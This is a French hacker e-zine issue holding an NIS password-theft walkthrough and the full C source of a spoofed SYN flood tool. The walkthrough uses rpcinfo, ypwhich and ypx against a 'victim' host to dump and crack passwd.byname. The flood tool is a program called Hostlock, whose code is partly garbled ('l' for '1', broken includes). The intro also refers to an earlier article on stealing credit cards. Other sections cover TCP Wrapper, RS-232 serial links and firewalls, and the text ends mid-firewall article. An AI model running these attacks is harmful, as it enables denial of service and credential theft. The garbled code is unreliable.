Disclamer: Ce texte est fourni au lecteur a titre purement educatif et
informatif. En aucun cas les auteurs n'incitent ce dernier au non-respect de la
loi, sous toute forme qu'il soit. Ce texte est destine uniquement aux personnes auxquelles les
auteurs l'ont remis, en consequence il peut etre considere comme une
communication privee des auteurs avec ces personnes. Toute organisation representant un ordre quelconque ou toute
agence de renseignement est consideree comme etrangere aux personnes
autorisees a lire ce texte et en consequence aucune poursuite ne pourra être faite
contre les auteurs pour leur publication. |
1. NIS |
--(by joker) |
2.
Les réseaux industriel |
--(by eisti) |
3. SYN flood |
|
4. TCP wrapper |
--(by stéphane) |
5. firewall |
--(by Trom) |
6.
faille sur ifrance |
--(by joker) |
7. Netbus |
--(by
thor) |
8.
Cracker le pass de l’écran de veille |
--(by thor) |
9. Génèse du hacking |
--(KuN Sh@doW) |
10.
Exemple de hack n°2 |
--(by joker) |
11. Espion win98 |
--(by joker) |
12. Anonymail |
--(by thor) |
13. Emulateur T1G |
--(by QuanTum) |
14. Javascript |
--(by joker) |
15. C (cours 1)* |
--(by joker) |
16. le plastic |
--(by thor) |
17.
Faire chier un gas |
--(by thor) |
18. Les caniches |
--(by thor) |
19. Notre group |
--(by lightning jokers) |
20.
Mots de la fin |
--(by joker) |
INTRO
|
Bonjour
tout le monde. Nous revoilà encore une fois ! j’espère que le n°3 vous
aura plus, moi je l’ai trouvé de qualité. J’espère que ce n°4 vous plaira
autant ?! Notre group comporte maintenant une bonne douzaine de membres,
j’ai fais un petit article pour vous présenter le group. De plus on s’associe
avec d’autres groups français, en tout on est une 40aine !J. si vous avez un group, ou si vous êtes seul
et que vous avez des connaissances et bien joignez vous à nous ! contacter
moi par mail. Si vous avez des commentaire
ou si vous voulez écrire dans ce zine, bah contacter moi.
Au
sujet du zine n°3, ya eu de nombreuses critiques, je vais en tenir compte.
Notamment sur l’article « comment choper des CB » la technique n°3
que j’ai présenté. Ya eu 3, 4 critiques sur cet article, ce qui ma pousser a le
relire, et j’avoue que c pas terrible ce que j’ai fais, surtout que je l’ai
jamais fais en vrai ( c un pot qui la fais) et moi je vous dis de le faire.
Alors je m’excuse franchement pour cet article. Je vous promet qu’il y aura
plus d’article de ce genre à l’avenir. Bon je vais arrêter là je crois que je
me suis assez descendu ! Bon voilà.
Ps :
Thor change de pseudo : GlÄdIÄThÖR
NIS
|
NIS est un système client/serveur basé sur les RPCs qui permet à un groupe de machine d'un domaine NIS de partager un ensemble de fichiers de configuration communs. L'administrateur système peut ainsi mettre en place des clients NIS en n'ayant qu'un minimum de configuration à faire et ajouter, modifier ou supprimer des informations de configuration de façon centralisée.
Dans un environnement NIS, il y a trois types de machines : les serveurs maîtres, les serveurs esclaves et les clients. Les serveurs centralisent les informations de configuration des machines. Les serveurs maîtres détiennent l'exemplaire de référence de ces informations, tandis que les serveurs esclaves en ont un double pour assurer la redondance. Les clients attendent des serveurs qu'ils leur fournissent ces informations.
Le contenu de nombreux fichiers peut être ainsi partagé. Les fichiers master.passwd, group et hosts sont fréquemment partagés par NIS. Chaque fois qu'un processus d'une machine cliente a besoin d'une information qu'il trouverait normalement localement dans un de ces fichiers, il émet une requête au serveur auquel il est rattaché pour obtenir cette information.
Bon pour le hack, NIS nous est bien utile, je vais vous montrer comment.
Tout d’abord faites un rpcinfo sur la victime :
rpcinfo -p www.victim.com
program vers proto
port
100004 2
tcp 673 ypserv
100005
1 udp 721
mountd
100003 2
udp 2049 nfs
100026 1 udp
733 bootparam
(j’avais pas d’exemple personnel, alors celui ci est extrais de Noroute 2)
le ypserv veut dire qu’il y a NIS. Une petite explication, NIS se dis aussi Yellow Pages (YP) ok ?! le bootparam veut dire que la machine boot en pointant sur un DHCP pour obtenir une ip ou sur un serveur pour charger l’OS. Maintenant il vous faut le nom de domaine, Ce n'est pas le ``nom de domaine'' dont vous avez l'habitude. Il est plus exactement appelé ``nom de domaine NIS''. Quand un client diffuse une requête pour avoir des informations, il y inclut le nom du domaine NIS auquel il appartient. C'est ainsi que plusieurs serveurs d'un même réseau peuvent savoir lequel doit répondre à quelles requêtes. Voyez le nom de domaine NIS comme celui d'un groupe de machine qui sont reliées entre elles.
Certains prennent comme nom de domaine NIS leur nom de domaine Internet. Ce n'est pas conseillé parce que c'est une source de confusion quand il faut résoudre un problème. Le nom de domaine NIS doit être unique sur le réseau et il est utile qu'il décrive les machines qu'il représente. Par exemple, le département artistique d'Acme Inc. pourrait avoir "acme-art" comme nom de domaine NIS.
Pour tester des noms de domaine, faites :
% ypwhich -d victim
www.victim.com
serv-nis.victim.com
La version de référence de toutes les informations gérées par le NIS est archivée sur une seule machine appelée serveur NIS maître. Les bases de données utilisées pour cela sont appelées des tables NIS. Sous FreeBSD, elles se trouvent dans /var/yp/[nom_de_domaine] où [nom_de_domaine] est le nom du domaine NIS concerné. Un seul serveur NIS peut gérer plusieurs domaines, il peut donc y avoir plusieurs de ces répertoires, un pour chaque domaine. Chaque domaine aura sont propre jeu de tables.
Les
serveurs NIS maîtres et esclaves traitent toutes les requêtes NIS via le
``démon'' ypserv. ypserv reçoit les requêtes des
clients NIS, traduit le nom de domaine et les noms de tables en chemin d'accès
à la base de données correspondante et transmet l'information de cette base de
données au client.
Vous aurez compris que c’est ces tables qui nous intéresse.
Ce
qui nous intéresse c’est la carte passwd.byname, qui contient tous les
password.
Pour
récupérer ce fichier vous aurez besoin d’un programme appeler ypx (chercher sur
le net).
Donc
avec ypx faites :
% ypx -d
serv-nis.victim.com victim -m passwd.byname
sauvegarder
le fichier et cracker le. Voilà !J
ok,
mais …
Dans
certains cas, vous arriverez a rien. Pourquoi ? et bah lisez ce qui va
suivre.
D'une façon générale, n'importe quel utilisateur distant peut émettre une requête NIS pour voir le contenu des tables NIS, s'il connaît le nom de domaine NIS. Pour éviter des transactions non autorisées, ypserv dispose d'une fonctionnalité appelée securenets qui peut être utilisée pour en restreindre l'accès à un ensemble défini de machines. Quand il démarre, ypserv essaye de charger ces informations depuis le fichier /var/yp/securenets.
# autorise les connexions depuis la machine locale -- obligatoire
127.0.0.1 255.255.255.255
# autorise les connexions de n'importe quelle machine
# du réseau 192.168.128.0
192.168.128.0 255.255.255.0
# autorise les connexions de n'importe quelle machine
# entre 10.0.0.0 et 10.0.15.255
10.0.0.0 255.255.240.0
Si ypserv reçoit une requête d'une machine qui satisfait à ces règles, il la traite normalement. Si l'adresse ne remplit pas les conditions, il ignore la requête et émet un message d'avertissement. S'il n'y a pas de fichier /var/yp/securenets, ypserv autorise les requêtes venant de n'importe quelle machine.
By The JokeR, Noroute, et d’autres articles venant du net.
(je n’est en aucun cas fait cet article seul)
Réseau
industriel |
Nous allons aborder dans ce cours des problèmes de réseaux industriels.
Un réseau industriel joue le même rôle qu'un réseau normal. Le but premier est toujours de transmettre des informations entre plusieurs machines. Lorsque l'on parle de réseaux, on sous-entend généralement que les machines sont des ordinateurs. Lorsque l'on parle de réseaux industriels, il s'agit de faire communiquer des machines qui ne sont plus seulement des ordinateurs. On fait communiquer des appareils différents tels que des ordinateurs, des automates programmables, des appareils de mesures, des équipements spécifiques (fours, commandes numériques, ascenseurs, ...).
Le qualificatif d'industriel pour un réseau sous-entend également un environnement particulier. L'environnement d'un réseau industriel est en général un environnement perturbé. C'est environnement est souvent pollué par des ondes électromagnétiques provenant des différents appareils (moteurs, courants forts, champs magnétiques,...). Tous ces phénomènes sont à prendre en compte dans la couche 1 du modèle OSI.
Pour relier 2 machines entre elles il existe plusieurs méthodes. L'une est dite liaison parallèle. Elle consiste à envoyer plusieurs informations élémentaires en même temps en utilisant plusieurs conducteurs. Cette méthode est très peu utilisée. L'autre est dite Liaison Série. Les données sont envoyées bit par bit les uns à la suite des autres ( ex: liaison série des PC, Ethernet,...)
Les liaisons séries asynchrones sont très utilisées. La plus connue est celle qui est utilisée sur les PC. Asynchrone signifie que les données sont envoyées de l'émetteur vers le récepteur sans négociation préalable. C'est au récepteur de se synchroniser sur l'émetteur. Pour ce faire l'émetteur doit envoyer un bit de START ses données(de 5 à 8 bits) suivies ou non d'un bit de parité et de 1 ou plusieurs bits de stop. Pour qu'une liaison série fonctionne, il est nécessaire de configurer les 2 extrémités pour que qu'elles utilisent la même parité, le même nombre de bits de stop (1 1,5 ou 2) la longueur des données échangées (5,6,7, ou 8 bits).
La norme RSC232 définit les valeurs des tensions que doivent fournir et reconnaître les interfaces séries des matérielles.
Généralement,
les signaux envoyés sont compris entre -12 et + 12 V.
Sur une liaison série au repos on doit observer un 1 logique.
Pour faire un échange de données bidirectionnel entre 2 liaisons séries RS232C
il faut au minimum 3 fils.
Cette liaison a 3 fils est une liaison minimum. Elle nécessite une collaboration logicielle active entre les 2 machines pour contrôler le transfert des informations. Un mécanisme souvent utilisé est le protocole XON XOFF.
Broche |
NOM |
Sens |
1 |
FG |
|
2 |
TX |
Sortie |
3 |
RX |
Entrée |
4 |
RTS |
Sortie |
5 |
CTS |
Entrée |
6 |
DSR |
Entrée |
7 |
SG |
|
8 |
DCD |
Entrée |
20 |
DTR |
Sortie |
22 |
RI |
Entrée |
Broche |
NOM |
Equivalence en db 25 |
1 |
DCD |
8 |
2 |
RX |
3 |
3 |
TX |
2 |
4 |
DSR |
20 |
5 |
SG |
7 |
6 |
DSR |
6 |
7 |
RTS |
4 |
8 |
CTS |
5 |
9 |
RI |
22 |
FG : Masse châssis
TX : Transmission des données
RX : Réception des signaux
RTS : Demande de Transmission
CTS : Prêt à émettre
DSR : Emetteur prêt
SG : Masse Electrique
DCD : Détection de porteuse
DTR : Terminal prêt
RI : Indicateur de sonnerie.
Le
signal FG est utilisé par des câbles blindés.
Le signal SG est la masse électrique qui doit être utilisée pour comparer les
valeurs des autres signaux.
Sur la broche TX, l'émetteur émet les données
Le signal RTS est positionné par l'émetteur lorsque ce dernier veut émettre des
données.
Le signal DTR est positionné par l'émetteur pour signaler au récepteur qu'il
est en ligne.
Sur la broche RX, le récepteur reçoit les données.
Le signal RTS indique à l'émetteur que son correspondant est prêt à recevoir
des données.
Le signal DSR indique que l'émetteur est toujours présent.
DCD indique que la porteuse est présente.
RI indique une sonnerie.
A première vue ces signaux peuvent paraître redondants ou inutiles pour une communication entre 2 machines, mais ils sont très pratiques pour une communication entre 2 machines reliées par le RTC via des modems utilisant un protocole matérielle.
Sur
TX/RX, circulent les données qui sont échangées entre l'émetteur et le
récepteur.
RTS et CTS fixe la communication entre l'émetteur et son modem (ou le récepteur
et son modem ).
DSR sur l'émetteur signifie que le récepteur est toujours présent.
DCD indique à l'émetteur que la porteuse utilisée sur le RTC est présente (donc
que le modem 2 n'a pas raccroché).
DTR indique au modem que l'émetteur est près à échanger des informations avec
le modem.
RI indique au récepteur que le modem détecte une sonnerie.
Pour relier 2 équipements via une liaison série la norme RS232 prévoit 2 brochages différents (DTE et DCE). Le brochage type DTE (Data Terminal Equipement) doit être utilisé pour des équipements terminaux. Le brochage type DCE (Data Control Equipement) est normalement utilisé pour des équipements intermédiaires utilisés sur des liaisons (modems,...). Le brochage DTE normalisé est, celui décrit sur les connecteurs à 25 points des PC. Le brochage DCE est très simple, sur le connecteur DB25 de l'équipement on retrouve les mêmes signaux en les croisant.
Pour relier un équipement DTE (PC, terminal, imprimante,..) à un équipement DCE (modem), il suffit donc de relier la broche 1 à la broche 1,.... la broche 22 à la broche 22.
Comment différencier un équipement DTE d'un équipement DCE sans documentation?
Astuce : au repos (sans connexion) un 1 logique doit être observé sur la broche TX. Si l'équipement est DTE on doit donc trouver une tension négative entre la broche 2 et la broche 7 du connecteur 25 points. Si l'équipement est de type DCE, la tension négative doit se trouver entre les broches 3 et 7.
IL n'est pas toujours nécessaire d'utiliser des modems pour relier deux équipements par des RS232C. La norme RS232C spécifie que l'on doit pouvoir( avec des câbles blindés et de tension de 40V) atteindre 150m . En pratique avec une distance supérieure à 10 ou 15m on commence à avoir des problèmes. Si les équipements sont à moins de 10 m, il est tout à fait possible de les relier sans passer par modem. Il s'agit de réaliser un câble Null Modem. Malheureusement il existe une multitude de types de câbles Null modem. Il faut savoir si les équipements terminaux utilisent un protocole matériel (type RTS/CTS) ou un protocole logiciel (type XON XOFF)
Un des protocoles le plus utilisé est celui qui tous les signaux de la RS232
Lorsque l'émetteur veut émettre ses donnés, il doit positionner la ligne RTS pour demander aux récepteur s'il est prêt à accepter ces données. Le récepteur lorsqu'il est prêt à recevoir les données va envoyer le signal DSR de l'émetteur pour lui indiquer qu'il est prêt. Lorsque l'émetteur veut suspendre l'émission, il va enlever le signal DSR de l'émetteur.
Ce protocole ne nécessite qu'une liaison sur 3 fils. Le reste de la négociation entre l'émetteur et le récepteur pour échanger des données ce fait par logiciel. Ce protocole est basé sur les caractères XON (ASCI 11H) et XOFF (ASCI 13H).
Le récepteur gère un buffer. Lorsque son buffer est plein à 80 % le récepteur envoie le caractère XOFF. L'émetteur lorsqu'il reçoit le caractère XOFF doit immédiatement suspendre son émission. Lorsque l'émetteur a vidé sont buffer à 50% il envoie un caractère XON à l'émetteur. A la réception de XON l'émetteur peut reprendre son émission. Il est possible que l'émetteur ne reçoive pas ou perde les caractères XON/ XOFF. Pour pallier à ces problèmes, lorsque l'émetteur n'a pas reçu de caractères depuis un certain temps, ce dernier peut reprendre de sa propre initiative le transfert. Si le récepteur n'est pas d'accord, ce dernier pourra toujours réemmettre un XOFF.
SYN Flooding |
Les ordinateurs connectés en
permanence à Internet sont des points stables, susceptibles d'être rendus indisponibles.
La technique a la mode en ce moment c le DOS (bien que je pense que les modes
sont des trucs de con !!).
Il s'agit d'exploiter la
façon dont les serveurs Internet communiquent entre eux : imaginez que 200
personnes fassent la queue pour vous serrer la main, les unes derrière les
autres. D'une part vous seriez fatigués à la 50ème et d'autre part vous n'auriez pas le temps
de faire autre chose.
La "poignée de
main" est une pratique courante entre deux ordinateurs désirant
communiquer sur Internet : elle comporte trois temps (vous devez déjà le savoir
mais bon ça sera un petit rappel) :
0) Détermination du
« port » de communication
1) SYN
2) SYN/ACK
3) ACK
(si vous voulez en savoir
plus sur le protocole TCP/IP, lisez nos précédents zines et tout les autres
zines qui peuvent exister sur le sujet. Croyez moi ils sont nombreux.)
si le dernier paquet n’est
pas reçu, la machine va l’attendre…
donc vous vous allez envoyer d’autre paquets SYN, donc la machine va attendre
de plus de paquets de réponse ; et c’est ainsi que la file d’attente de
connexion a la machine se rempli !
Cette file d'attente des
connexions à confirmer comporte une limite haute (dépendante du système
d'exploitation) : au delà de ce nombre maximal, toute nouvelle demande de
connexion (sur le "port" concerné) va être rejetée.
Donc si vous envoyer autant
de paquets que nécessaire et bien le serveur va rejetée tout autre demande de
connexion et sera ainsi rendu HS.
Il existe de nombreuses autres solutions pour rendre des ordinateurs
indisponibles, le "Ping flooding" étant une variante du Syn flooding,
mais avec des paquets ICMP.
La réponse des éditeurs de
systèmes d'exploitations ou de Firewalls est :
- d'inciter leurs clients à administrer leurs systèmes
- de proposer des mécanismes d'analyse et d'ajustement dynamique des
"files d'attentes de connexion". Les produit de Livermore Software (Portus Firewall) ou d'ISS (Realsecure) proposent ainsi ce genre de
fonctionnalités.
La réponse des consultants
en sécurité est d'analyser en temps réel la source des attaques et de soit
l'exclure des connexions admises par le Firewall (si il existe) soit plus
simplement de répliquer à l'attaque.
Ainsi, selon l'éditeur de Phrack Magazine
"Another way to detect and eradicate SYN floods:
Kernel mod or daemon that will:
-listen for all incoming SYNs
-keep a list of the x most recent incoming SYNs (x=backlog?)
-if x amount of connection-requests take more than y amount of time
to complete and(other heuristics)
-x SYNs arrived in z time relative to each other.
-x SYNs have a,b,c features in common (source IP addr,TTL,port,seq#)
-etc...
-DROP them, reset the connections, free the associated memory structur"
Ci -après le code source
complet d'un programme permettant de réaliser des attaques en Synflood
Jason Fairlane pourra vous
en dire plus...
This program was written for, and tested on, a Linux
machine
with a kernel patch in place to allow ip source address
spoofing. It will most likely not work on any other
architecture. If you happen to port it to another
architecture, contact me at: jfair@2600.com.
OS Version Default
Configurable?
Solaris 2.5 1024 Yes
Windows NT ALL 110 No
Solaris 2.4 32 Yes
Solaris 2.0-2.3 8 Yes
SunOS ALL 8 Yes
Generic SVR4 ALL 8 Maybe (*)
Generic BSD 4.3/4.4 8 Maybe (*)
Linux ALL 5 Yes
(*) = Depending on the implementation
_______________________________________________________________
/* !!THIS PROGRAM IS EXTREMELY DANGEROUS!! NO GUIDELINES
* ARE PROVIDED FOR THE CODE CONTAINED HEREIN. IT IS MERELY
* A DEMONSTRATION OF THE POSSIBLE DESTRUCTIVE USE OF IP
* SPOOFING TECHNIQUES. THE AUTHOR CLAIMS NO RESPONSIBILITY
* FOR ITS USE OR MISUSE. - JF (3/8/96)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <svs/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <netdb.h>
#define PACKET_SIZE sizeof(struct tcppkt)
/+ Configurable defaults. These are specifiable via the command line. */
#define DEF_BADDF "l32.45.6.8"
#define DEF_SYNS 32
#define DEF_MAX 32768 /* (See Accompanying Table) */
#define DEF_LOW
struct tcppkt {
struct iphdr ip;
struct tcphdr tcp;
};
u short ports[DEF_MAX];
void
usage(progname)
char *progname;
{
fprintf(stderr, "Hostlock v.0l\n");
fprintf(stderr, "Usage: %s <Target> [options]\n", progname);
fprintf(stderr, "Options:\n\
-b [addr]\tAddress from which the SYNflood packets should appear to be.\n\
\t\tThis address should have correct routing records, but not exlst.\n\
-l [port]\tPort to begin scanning from.\n\
-h [port]\tPort to end scanning on.\n\
-d [port]\tSpecific port to flood.\n\
-n [syns]\tNumber of SYN packets to flood with.\n");
exit(l);
}
u_long
resolve(host)
char *host;
{
struct hostent *he;
u_long addr;
if( (he = gethostbyname(host)) == NULL) {
addr = inet_addr(host);
} else {
bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
}
return(addr);
}
/* From ping.c */
/*
*in cksum -
* Checksum routine for Internet Protocol family headers (C Version)
*/
unsigned short in_cksum(addr, len)
u_short *addr
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > l) {
sum += *w++;
nleft -= 2;
}
if (nleft == l) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> l6) + (sum & 0xffff);
sum += (sum >> l6);
answer = -sum;
return(answer);
}
int
sendsyn(sin, s, saddr, sport, seq)
struct sockaddr_in *sin;
u_long saddr, seq;
u_short sport;
int s;
{
register struct iphdr *ip;
register struct tcphdr *tcp;
register char *php;
static char packet[PACKET_SIZE];
static char phead[PACKET_SIZE + l2];
u_short len = 0;
/* Overlay IP header structure onto packet. */
ip = (struct iphdr *)packet;
/* Fill in IP Header values. */
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(PACKET_SIZE)
ip->id = htons(2600 + (rand()%32768));
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->check = 0;
ip->saddr = saddr;
ip->daddr = sin->sin_addr.s_addr;
/* The Linux kernel automatically checksums outgoing raw packets.
* however, other implementations might not, so if you are porting,
* remember to uncomment this line.
* ip->check = in_cksum((char *)&ip, sizeof(struct iphdr));
*/
/* Overlay TCP Header structure onto packet. */
tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
/* Fill in TCP Header values. */
tcp->th_sport = htons (sport);
tcp->th_dport = htons (sin->sin_port);
tcp->th_seq = htonl(seq);
tcp->th_ack = 0;
tcp->th_x2 = 0;
tcp->th_off = 5;
tcp->th_flags = TH_SYN;
tcp->th_win = htons(l0052);
tcp->th_sum = 0;
tcp->th_urp = 0;
php = phead;
memset(php, 0, PACKET_SIZE + l2);
memcpy(php, &(ip->saddr), 8);
php += 9;
memcpy(php, &(ip->protocol), l);
len = htons(sizeof(struct tcphdr));
memcpy(++php, &(len), 2);
php += 2;
memcpy(php, tcp. sizeof(struct tcphdr));
/* Now fill in the checksum. */
tcp->th_sum = in_cksum(php, sizeof(struct tcphdr)+l2);
/* And send... */
return(sendto(s, packet, PACKET_SIZE, 0, (struct sockaddr *)sin
sizeof(struct sockaddr_in)));
}
int
synscan(saddr, sport, lo, hi, s, r, sin)
u_long saddr;
u_short sport, lo, hi;
int s, r;
struct sockaddr_in *sin;
{
struct tcppkt buf;
int i, total = 0;
for(i = lo ; i <= hi ; i++) {
sin->sin_port = i;
if( (sendsyn(sin, s, saddr, sport, 3l337)) == -l) {
perror("Error sending SYN packet");
exit(l);
}
for(;;) {
memset(&buf, 0, PACKET_SIZE);
read(r, &buf, PACKET_SIZE);
/* Is it from our target? */
if( buf.ip.saddr != sin->sin_addr.s_addr ) continue;
/* Sequence number ok? */
if( (ntohl(buf.tcp.th_ack) != 3l338) &&
(ntohl(buf.tcp.th_ack) != 3l337)) continue;
/* RST/ACK - No service listening on port. */
if( (buf.tcp.th_flags & TH_RST) &&
(buf.tcp.th flags & TH_ACK)) break;
/* SYN/ACK - Service listening on port. */
if( (buf.tcp.th_flags & TH_ACK) &&
(buf.tcp.th_flags & TH_SYN)) {
ports[total] = ntohs(buf.tcp.th_sport);
printf("%d\n", ports[total++]);
fflush(stdout);
break;
}
} /* for(;;) */
}
return(total);
}
void
synflood(baddr, bport, s. numsyns, sin)
u_long baddr;
u_short bport, numsyns;
int s;
struct sockaddr_in *sin;
{
int i;
printf("%d", sin->sin_port);
fflush(stdout);
for(i = 0 ; i < numsyns ; i++) {
usleep(30);
if( (sendsyn(sin, s. baddr, bport++, 3l337)) == -l) {
perror("Error sending SYN packet");
exit(l);
}
printf(",");
fflush(stdout);
}
printf("\n");
}
void
main(argc, argv)
int argv;
char **argv;
{
struct sockaddr_in sin;
u_long saddr, daddr, baddr;
u_short i, numsyns, lo, hi;
u_short sport = 2600, bport = 2600;
char buf[256];
int s, r, total;
total = numsyns = lo = hi = baddr = 0;
/* Minimum usage is "hostlock <target>" */
if(argc < 2) usage(argv[0]);
if( (daddr = resolve(argv[l])) == -l) {
fprintf(stderr, "Bad hostname/ip address: %s\n", argv[l]);
usage(argv[0]);
}
for(i = 2 ; i < argc ; i ++) {
switch(argv[i][l]) {
case 'b': case 'B':
if( (baddr = inet_addr(argv[++i])) == -l) {
fprintf(stderr, "Bad hostname/ip address: %s\n", argv[l]);
fprintf(stderr, "Defaulting to %s...\n", (DEF_BADDR);
baddr = inet_addr(DEF_BADDR);
}
break;
case 'l': case 'L':
lo = atoi(argv[++i]);
break;
case 'h': case 'H':
hi = atoi(argv[++i]);
break;
case 'd': case 'D':
hi = lo = atoi(argv[++i]);
break;
case 'n': case 'N':
numsyns = atoi(argv[++i]);
break;
default:
fprintf(stderr, "Unknown option: -%c\n", argv[i][l]);
usage(argv[0]);
break;
}
}
/* Institute defaults if these options have not been specified. */
if(!numsyns) numsyns = DEF_SYNS;
if(!lo) lo = DEF_LOW;
if(!hi) hi = DEF MAX;
if(!baddr) baddr = inet_addr(DEF_BADDR);
/* Fill in our sockaddr_in structure. */
sin.sin_family = PF_INET;
sin.sin addr.s_addr = daddr;
sin.sin port = 0;
if( (gethostname(buf. 256)) == -l) {
perror("Unable to get our hostname");
exit(l);
}
if( (saddr = resolve(buf)) == -l) {
perror("Unable to resolve our hostname");
exit(l);
}
/* Open our sending and receiving sockets. */
if( (s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("Unable to open a raw socket");
exit(l);
}
if( (r = socket(PF_INET, SOCK RAW, IPPROTO_TCP)) < 0) {
perror("Unable to open a raw socket");
exit(l);
}
printf("Performing hostlock on %s ports %d to %d. \n",
inet_ntoa(sin.sin_addr), lo, hi);
/* Scan. */
printf("Scanning...\n");
fflush(stdout);
total = synscan(saddr, sport, lo. hi, s, r, &sin);
printf("Scan completed. %d receiving ports found.\n", total);
sleep(2); /* Pause to let everything clear out. */
printf("Flooding ports with %d SYNs each...\n", numsyns);
fflush(stdout);
/* Flood. */
if( total ) {
for(i = 0 ; i < total ; i++) {
sin.sin port = ports[i];
synflood(baddr, bport, s, numsyns, &sin);
}
}
printf("Hostlock completed. Exiting.\n");
exit(0);
}
-----------
Thanks to XX
TCP Wrapper |
Installation et configuration de TCP Wrapper
auteur : Stéphane TRAUMAT
site : www.amenti.org
date : 14 mai 2000
But et principe.
TCP Wrapper permet deux choses :
·
Enregistrer les requêtes de services.
· Filtrer
l'accès à ces services.
Voici en quelques mots le principe :
Toutes les applications "TCP/IP" (comme telnet, ftp..) sont en
client/serveur. Généralement, sur les systèmes UNIX, on a un daemon qui attend
les connexions entrantes. Lorsqu'une connexion s'établie, ce deamon éxecute le
programme "serveur" correspondant et recommence à attendre une
connexion.
Ce que fait TCP wrapper est simple, au lieu de lancer
directement le deamon correspondant, il éffectue quelques vérifications et
enregistre certaines données dans les fichiers logs.
Où télécharger TCP Wrapper ?
Le meilleur endroit pour télécharger TCP Wrapper est : http://csrc.nist.gov/tools/tools.htm
Installation
Une fois que vous aurez obtenu le fichier tar qui contient le code source et le
makefile, compilez le démon TCPD . Puis placer le dans le même
répertoire que les autres démons réseau.
Configuration
La configuration est relativement simple.
Editez le fichier /etc/inetd.conf et remplacez le chemin d'accès de
chacun des démons de service réseau devant être sous contrôle par le chemin de TCPD.
Par exemple, pour le démon finger, on a :
finger stream
tcp nowait nobody /etc/in.fingerd in.fingerd
le 6 ème champs contient le chemin vers le démon
finger, pour gérer ce service, il suffira de remplacer /etc/in.fingerd
par /etc/tcpd comme cela :
finger stream
tcp nowait nobody /etc/tcpd in.fingerd
Bon, je crois qu'il est grand temps que je vous
dise comment ça va se passer.
Désormais, lorsque le démon Inetd reçoit une requête pour fingerd, il démarre
TCPD à la place. TCPD enregistre alors la requête dans les logs, vérifie si le
client est autorisé à utiliser le service et si oui, il démarre le démon finger
pour répondre à la requête.
Vous pouvez de la même façon mettre sous contrôle tous les services lancés par
inetd.
Les logs
TCP wrapper envoie toutes les informations au démon syslogd
(fichier de config de syslogd : /etc/syslogd.conf).
Généralement, le log de syslogd se trouve dans le répertoire /var/log/syslog.
Contrôle d'accès
Comme je vous l'ai déja signalé, TCPD permet non seulement
d'enregistrer les requêtes mais aussi d'autoriser/interdire l'accès à certains
services.
Pour déterminer les droits d'accès aux services, TCPD utilise
deux fichiers de configuration :
/etc/hosts.allow qui contient la liste des hôtes autorisés à accéder
aux services et /etc/hosts.deny qui est la liste des machines qui
n'ont pas accès aux services.
Si les deux fichiers existent, TCPD explore le contenu du
fichier /etc/hosts.allow puis le fichier /etc/hosts.deny
jusqu'à ce qu'il trouve une règle qui s'applique au client et au service
demandé. Un accès accordé par /etc/hosts.allow ne peut être remis en
cause par /etc/hosts.deny.
Le format d'une ligne pour les fichiers de configuration est le suivant :
listeServices: listeMachines
listeServices est une liste de services réseau, séparés par des virgules. Ce sont
des services auxquels l'accès est accordé ou refusé.
Chaque services est identifié par le nom du processus situé dans le septième
champs d'une ligne de /etc/inetd.conf.
listeMachines est une liste de noms de domaines, de machines ou
d'adresses IP séparée par des virgules.
Chaque système apparaissant dans cette liste à un accès autorisé ou réfusé aux
services spécifiés dans listeServices.
Voici un exemple qui autorise toutes les machines du réseau Amenti.org à accédé
aux services Ftp :
ftpd : .amenti.org
Deux mots clés éxistent pour ces fichiers : ALL qui
signifie tout (il peut être utilisé dans listeServices ou listeMachines) et
LOCAL (qui peut être utilisé seulement dans listeMachines) qui correspond à la
machine locale.
Machine utilisée pour cette documentation
Machine : P166, 32 Mo de RAM
Système : Linux (debian)
Conclusion
C'est facile, TCP Wrapper est un daemon qu'il faut absolument installer sur son
système :)
Même si vous ne souhaitez pas limiter l'accès aux services, il sera très utile
pour enregistrer l'activité de votre serveur et détecter les intrusions.
Si vous avez des remarques, des questions, des demandes n'hésitez pas à
m'écrire. Et si vous avez le temps, allez sur www.amenti.org
pour d'autres documentations et des liens.
En ésperant vous avoir aidé, à plus !
Stéphane
Firewall |
LES
FIREWALLS PAR TROM
Kortex agency 1998
Cette documentation est à but purement éducatif , je ne pourrais pas être tenu responsable de son utilisation . De plus si vous avez des remarques à me faire , elles seront les biens venues ! J'invite tous les experts de sécurité à me contacter . En effet j'aurais quelques questions à poser , quelques théories à vérifier et quelques files à demander . Sur ceux je vous laisse à mon aide en espérant qu'elle étanchera un peu votre soif de savoir !
I Présentation . .
1/Objectf
du firewall .
Les firewalls ont obtenu une grande renommée en matière de sécurité sur Internet . Ils ont deux objectifs :
Þ Protéger le réseau interne contre les tentatives d'intrusion provenant de l'extérieur .
Þ Limiter et vérifier les connexions provenant du réseau interne vers extérieur .
2/Fonctionnement
du Firewall .
Le principe du firewall est relativement simple . A l'origine un firewall est un système comportant deux interfaces réseau .(Je vous passe l'explication bidon du mot qui en fait nous vient de l'automobile)
INTERNET |
|
FIREWALL |
|
Réseau interne que l’on souhait protégé contre les méchants |
|
|
Remarque : Il se peut que l'isolement de la totalité du réseau ne soit pasnécessaire . A ce moment le réseau à sécurisé est relie au sous réseau par un FW et le sous réseau est relié à Internet par un routeur . Dans ce cas la topologie ressemblerait plus à ça:
INTERNET |
|
ROUTEUR |
|
Ordis des secrétaires |
|
firewall |
|
Réseau interne que l’on veut protégé |
|
|
|
|
Pour la suite on prendra le premier cas , celui ou l'on souhaite protéger tout le réseau local .On a en fait une interface interne reliée au réseau local et une interface externe reliée à Internet . L'ordinateur firewall peut atteindre à la fois le réseau protégé et Internet . Le réseau protège ne peut atteindre Internet et Internet ne peut toucher le réseau protège .
3/Principale
différence entre un FW et un routeur IP .
